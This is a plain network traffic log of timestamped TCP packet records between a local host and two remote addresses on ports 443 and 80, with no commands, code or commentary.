Oct 29, 2021 20:29:21.372381926 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.372416019 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.372452021 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.372463942 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.372510910 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.372535944 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.372569084 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.372601032 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.372612000 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.372633934 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.372658014 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.372714996 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.372746944 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.372777939 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.372788906 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.372822046 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.372843981 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.372898102 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.372932911 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.372963905 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.372976065 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.373008013 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.373030901 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.373534918 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.373589993 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.373630047 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.373646021 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.373684883 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.373713970 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.373739004 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.373786926 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.373819113 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.373833895 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.373891115 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.373986006 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374037027 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374058962 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.374072075 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374089003 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.374164104 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.374435902 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374470949 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374510050 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.374524117 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374541998 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.374545097 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374566078 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.374576092 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374591112 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374600887 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.374634981 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.374641895 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374661922 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.374686956 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.374764919 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374809980 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374840021 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.374850035 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.374886036 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.374914885 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.375191927 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.375241995 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.375296116 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.375307083 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.375329018 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.375334024 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.375355005 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.375365019 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.375386953 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.375387907 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.375420094 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.375428915 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.375466108 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.375500917 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.375907898 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.375943899 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.375994921 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.376008987 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.376024961 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.376050949 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.376116991 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.376162052 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.376188040 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.376199961 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.376220942 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.376246929 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.376327991 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.376377106 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.376391888 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.376401901 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.376427889 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.376451969 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.376785040 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.376841068 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.376868963 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.376883984 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.376899958 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.376926899 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.376945019 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.376976013 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377007961 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.377017975 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377043962 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.377068996 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.377078056 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377108097 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377147913 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.377157927 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377182007 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.377207041 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.377598047 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377635002 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377692938 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.377708912 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377720118 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.377729893 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377778053 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377794027 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.377804041 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377831936 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.377877951 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.377899885 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377945900 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.377963066 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.377974033 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.378000021 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.378025055 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.378608942 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.378654957 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.378727913 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.378813982 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.378834963 CEST	443	49826	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:21.378897905 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.391681910 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:21.420722961 CEST	49826	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.272806883 CEST	49827	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.324548006 CEST	80	49827	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:22.324683905 CEST	49827	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.326050043 CEST	49827	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.326102018 CEST	49827	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.401995897 CEST	80	49827	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:22.402128935 CEST	49827	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.402348042 CEST	49827	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.438324928 CEST	49828	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.454546928 CEST	80	49827	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:22.490418911 CEST	80	49828	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:22.490578890 CEST	49828	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.490679026 CEST	49828	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.490695953 CEST	49828	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.523343086 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.523375034 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.523449898 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.523879051 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.523899078 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.564667940 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.567895889 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.567920923 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.569678068 CEST	80	49828	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:22.569777966 CEST	49828	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.580302954 CEST	49828	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.618863106 CEST	49830	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.632386923 CEST	80	49828	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:22.636404037 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636503935 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636548996 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636590004 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636629105 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636656046 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.636665106 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636678934 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636730909 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636764050 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.636765003 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636810064 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636811018 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.636836052 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636869907 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.636897087 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636929989 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636965036 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.636969090 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.636980057 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637041092 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637052059 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637064934 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637084007 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637103081 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637145042 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637151957 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637161016 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637207031 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637238979 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637244940 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637255907 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637300968 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637310982 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637350082 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637387991 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637418985 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637425900 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637438059 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637438059 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637473106 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637484074 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637545109 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637579918 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637617111 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637625933 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637641907 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637664080 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637677908 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637717962 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637720108 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637728930 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637778044 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637788057 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637823105 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637861013 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637861967 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637871981 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637913942 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.637924910 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.637975931 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.638025045 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.638035059 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.653609037 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.653748035 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.653765917 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654089928 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654133081 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654186010 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654196978 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654259920 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654264927 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654313087 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654314995 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654325008 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654352903 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654352903 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654392004 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654407978 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654416084 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654455900 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654479027 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654512882 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654521942 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654530048 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654551983 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654560089 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654587984 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654594898 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654645920 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654697895 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654710054 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654721022 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654759884 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654814005 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654819012 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654823065 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654833078 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654867887 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.654872894 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654881954 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.654917955 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.670952082 CEST	80	49830	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:22.672235012 CEST	49830	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.672360897 CEST	49830	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.672388077 CEST	49830	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.708354950 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.708441019 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.708482981 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.708508968 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.708523989 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.708529949 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.708585978 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.708597898 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.708611012 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.708664894 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.708673954 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.708713055 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.708765984 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.708786964 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.708830118 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.708910942 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.708920002 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.708997965 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.709055901 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.709065914 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.709104061 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.709152937 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.709166050 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.709252119 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.709342003 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.709352016 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.709403038 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.709415913 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.709424019 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.709444046 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.709459066 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.709501028 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.713800907 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.713814974 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.713831902 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.713839054 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.713912010 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.713921070 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.713931084 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.713979959 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.713990927 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.714000940 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.714031935 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.714039087 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.714092970 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.714109898 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.714119911 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.714143038 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.714200974 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.714577913 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.714591980 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.714607000 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.714700937 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.714709997 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.714721918 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.714745998 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.714752913 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.714803934 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.714859009 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.731282949 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.731307030 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.731338024 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.731345892 CEST	443	49829	162.159.130.233	192.168.2.3
Oct 29, 2021 20:29:22.731440067 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.731506109 CEST	49829	443	192.168.2.3	162.159.130.233
